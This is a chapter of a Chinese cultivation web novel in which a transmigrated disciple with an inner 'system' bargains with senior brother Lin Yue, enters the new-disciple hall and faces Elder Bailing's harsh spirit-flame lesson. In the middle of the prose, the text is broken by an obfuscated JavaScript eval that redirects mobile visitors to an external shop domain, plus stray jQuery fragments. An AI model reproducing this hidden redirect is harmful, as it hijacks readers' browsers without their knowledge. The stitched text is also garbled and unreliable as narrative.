人来人往的食堂走道空处对面,寥寥几人的某个角落,落座着一高一矮的模糊背影。
对面高大身影投来幽怨的视线,盯着夏紫菀心里发毛。
“呃...林师兄,好久不见?”迟疑的停顿显得那么苍白。
获得新身份的事情占据太多心思,导致她完全忘了林玥这回事。
“好?不好,说是要送你去学堂,我可是在你门前等了很久都没见人影。”林玥大口地咬着碗里的蔬菜,发出清脆的声音,像是刻意引人注意的发泄般。
夏紫菀不忍地撇开视线。
为了避开聚集的人群,她特地起早了。
余光中,林玥不时紧盯着她碗里的目光让她那只最靠近的手指微微发热。
几番权衡之下,夏紫菀忍痛将筷子戳向碗里那块最大的——她精挑细选的那块,伸进了对面那人的碗里。
“那为了表达我的歉意,这个给你了。”
要知道原本安排的简餐有多简陋,她可是费了好大些功夫才从其他饿鬼和轮值师兄的手下偷抢来的。
果不其然,看向自己碗里的林玥表情松动。
尽管神色还在犹豫,但立马反应过来并戳上去的筷子还是表明了态度。
他甚至把碗朝自己的方向拉近了些,再郑重其事地举起掌心:“先说好,我不会还给你的。”
看着他夏紫菀连忙别开脸,企图压下逐渐失控的嘴角。
“门派的早餐一直以来都这么简单吗?你们不想点办法?”她轻咳一声,询问道。
林玥依旧沉浸在他的大餐当中,头都没抬:“没——有,按照规定,早晨的吃食一切从简,现在还好了,以前都是规定早晨辟谷来的。”
说到这,他放下筷子朝夏紫菀露出神秘的笑容:“没想到小师妹你还挺上道,第一天就会偷拿中午的吃食了。”
“呃...”夏紫菀一时无言,目光缓缓转向面前的瓷碗。
,这不管怎么看都不像是早餐吃的东西吧。
她只好解释:“我只是瞧着前面几位同门行事乖张,好奇之下便照着做,谁知道是偷拿中午的吃食。”
“嘿嘿。”林玥摸了摸鼻子,满是欣慰地说道:“你还真是天资聪颖啊。”
闻言,夏紫菀低着头凑近了些:“我说,这个事情是不被允许的吧?”
“嗯?那当然,不然你以为,我最近一次偷拿可是差点被抓住,谁知道刚好换到南师兄巡查...”
说着,林玥突然感觉到不对劲。
只见夏紫菀弯着眉,笑眯眯地看着他:“那,吃了我的东西你就是我的人啦,你也不想自己偷拿的事情被南师兄发现吧?”
“啊?”后知后觉的林玥一下子从椅子上弹起:“我去,不是,啊?”
“你玩儿我?!”他慌张地看着碗里一扫而空的食物。
“哈哈哈哈哈。”声音很快被夏紫菀愉悦的笑声盖住。
她揉去眼角的泪,连忙说道:“没有,我是想让师兄别把今早的事情说出去,毕竟你也不想被南师兄怪罪没有尽到职位吧?”
“啧。”林玥神色复杂地盯着她:“小师妹你这么精,可是要遭殃啊。”
夏紫菀没再搭理他,低头用筷子跟碗里的食物较劲。
后来,林玥不知道被戳了哪根筋,一直在拉着夏紫菀分享她对阵法的研究,听不懂的她只能微笑着点头。
“嗯,对,你说的没错。”
“放心!南师兄已经控制住了传谣的人,那些跟着造谣的人也不会乱说了。”
“再说了,还有我在呢。”林玥拍着自己的胸脯。
耳朵快起茧的夏紫菀只能低声附和,语调都懒得变化:“嗯嗯,好。”
她好不容易才找到的清净地...
待食堂里的弟子陆续离开后,她才站起身。
林玥恋恋不舍地把玩手里的木筷,看得出来并不想离开,他撇着嘴:
“看样子你还挺上心。”
“嗯?”夏紫菀觉得有些莫名其妙。
“像你们这种资质突出的弟子,不都成天想着修行和狩猎,你这样认真对待入门课业的,我还是第一次见。”
这句话让她的胸腔有些梗塞,嘴上却无言以对。
她应该否认吗?好像肯定也不太对...
“走!跟我来。”林玥双手交叠往后上方拉,餍足地伸着懒腰,随即起身。
“不是这边吗?”夏紫菀诧异地转身。
转眼间,林玥已经出现在她的身后。
“这里。”身后传来男人的声音。
肩上一沉,是他手掌的重量。
眼前画面快速闪动,再睁眼,先前的学堂景象又出现在面前。
夏紫菀连忙捂住双眼,先一步退开。
虽然没什么副作用,但是这快速到有些吓人的传送反而会让她有些心悸。
不习惯,还是不习惯。
“你怎么了?快睁眼,我们到了!”林玥兴奋的声音在旁边响起。
她定了定心神,抬眼审视面前的景象。
同样的传送位置,比起上次,这次倒是没什么来自周围的异样视线。
在学堂里往深了走,错综复杂的几处楼阁下,展现出另一个风貌。
林玥停下脚步,指着东南方的一角说道:“新晋弟子在那边。”
顺着指尖望去,
他摊开双手,作无奈状:“我这个内门弟子就不进去了,免得引起骚乱。”
夏紫菀白了他一眼。
“好。”
学堂的几个建筑乍一看都很相似,置身于回廊当中,若不是寻问了路过弟子,她还真找不到新晋弟子的学堂。
凌云镂空的红木大门紧紧关闭,偶尔从中传来几句谈话声,还有微风拂过,门环把手敲在门面上的响声,夏紫菀正站在门外凝气屏息。
“或者你不需要这么紧张。”系统的声音响起。
“不,我怕待会一开门就有人要把我宰了。”她的表情十分认真。
“......”系统沉默了一会。
“放心。”它留下简洁的两个字。
夏紫菀深吸一口气,双手尚未举起,面前的大门竟自己打开了。
移动的门扇旁,有着苔绿色发辫的纤细男子与她擦肩而过,淡淡的桃木香气顺着飘起的发丝掠过夏紫菀的鼻尖。
她忍不住回头看去,视线相交的瞬间,幽深的双瞳里,对方看她的眼神有些一言难尽。
甚至皱着眉,像是见了什么碍事的稀罕物。
谁啊这是?怎么对陌生人这样呢?
夏紫菀不明所以,握紧了拳头。
眨眼的功夫,那人自顾自地走了,仿佛刚才什么也没有发生。
“系统,我有些头晕。”她的眼中染上几分阴霾。
“冷静。”系统平静地回答。
言毕,她的注意力又回到学堂上,并没有人在意方才的小插曲,室内的十几个弟子都在忙着自己的事情。
只有刚踏进这片空间的时候,夏紫菀再次感受到齐刷刷异样的视线,很快,这些人又兴致缺缺地将视线收了回去。
正当她放心下来的时候,一道稚嫩的嗓音响起:“你怎么在这?!”
夏紫菀淡然地回头。
这声音实在熟悉,如果她没记错,昨天某只小鸟还跟这声音的主人打了一架。
等回头看清来者时,心底却兀地一惊。
粉发女孩披着剑止峰标志的白色长袍,脖子间悬挂着的‘萝卜玉’闪着柔和的光泽,正叉着腰气鼓鼓地看向这边。
她想过会再见到这个女孩子,毕竟在看过的作品中,之前在院子里相遇的场面算是一种必定再会的标志事件。
只是,没想到是在新晋弟子学堂这里。
夏紫菀一时嘴快,想法便顺着语言飞了出来:“这里还有小孩子?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753134|207382||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“哈?”此话一出,就像是被触动逆鳞般,粉发女孩清秀的五官拧成狰狞狠厉的模样。
“咳,那个...”角落里捧着茶杯的灰发男子连忙出来打圆场:
“白灵长老待会就来了,你们别惹事。”
他的声音空灵悠远,像某种旋律,丝滑地钻进听者的耳中。
听着十分怪异,夏紫菀忍不住回头看去。
那人的身形消瘦,灰色的长发垂落肩头,垂落的八字眉下方是一双通透的蓝色眼瞳,他的左手扶在右臂上,嘴角抿起一个浅浅的弧度,看起来似乎弱不禁风。
但当他伸手轻推面前的单片镜时,配合学堂内瞬间的鸦雀无声,又更像是一个极有威严的存在。
粉发女孩自觉地后退一步。
“那个...我知道了。”
她低着头,侥幸地返回原来的座位,坐下后,还时不时盯着这边,目光灼灼。
夏紫菀松了口气,刚落座,就听到不远处传来一阵急促的脚步声。
砰——年迈有力的手掌拍开大门。
白色卷曲的长发飘零在空中,高大挺拔的身影立刻吸引住所有人的目光。
“你们几个都给我听着,入门课业很重要!不好好学的话,都给我滚出去!”
洪钟般威严的声音吓得夏紫菀一激灵。
前方的红木桌台旁,被称作白灵长老的高龄女士轻蔑地扫视在座的所有人,右手满不在乎地撩起散落在肩上的长发。
“好啊你们,才刚测完灵根就开始闹事,散播‘入门课业’不重要的都是哪几个小兔崽子?”
“我告诉你们,忽视入门课业的下场,就像测灵台的那几个一样!”
“白灵长老!请不要这么说...”灰发男子立刻站起身,怯懦地说着:
“测灵台的几个弟子还没有醒来。”
他的声音很轻,却能清晰地传入耳廓。
又来了...
夏紫菀皱着眉,一手扶额,强烈的不适感顺着耳边爬上头顶。
那个人的声音仿佛拥有魔力,隔着有些距离,总是能清晰地出现在耳边。
白灵长老垂下眼,举起手双手轻拍掌心三下,那灰发男子瞬间战栗,随即双腿一软,堪堪落座。
“你叫霍俨对吧?在我面前别耍这种花招,霍家的小法术对我不管用。”她勾起嘴角,冷笑道。
“当然,我不排斥这种师生交流,前提是你们打得过我。”
白灵长老突然来了兴致,她信手一挥,手背亮起微弱的红色的纹样。
顿时,十几道红色的火焰凭空出现,依次悬挂在每个人的头顶。
“既然你们不喜欢书面教育,我们可以换种方式。”白灵长老眯眼笑着,深深的褶子显得她更像一个和蔼的老人。
火焰照亮头顶的那一刻,夏紫菀明显感受到,一股沸腾的冲动涌过四肢百骸,浮躁,焦急的情感在她的脑海里疯长开来。
面对这不对劲的状况,她攥着拳,死死咬着牙,额头青筋突起。
学堂里,原本寂静一片的氛围变得十分焦灼,有人痛苦地低吟,咒骂,有人失声哭泣,哀怨。
啪——白灵长老再次拍掌,悬挂在弟子们头上的火焰立即消失,只留下疲惫不堪的众人。
“灵力失控的感觉,如何?”她手里把玩着入门课业的书册,调侃地说道。
“长老...我们知错了。”一个黑发男弟子弱弱地举起手。
“...我们不敢了。”又一个褐发女弟子跟着出声。
“是啊是啊...”陆陆续续地有人表态,声音汇成一片。
夏紫菀沉默地盯着台上的长老,小喘着气,她还没从刚才的酷刑中缓过来。
这就是测灵台上那些人经历的东西吗...真是可怕。
只是不知这位长老是脾性如此,还是刻意为之...
正想着,她的目光同白灵长老交汇于一处。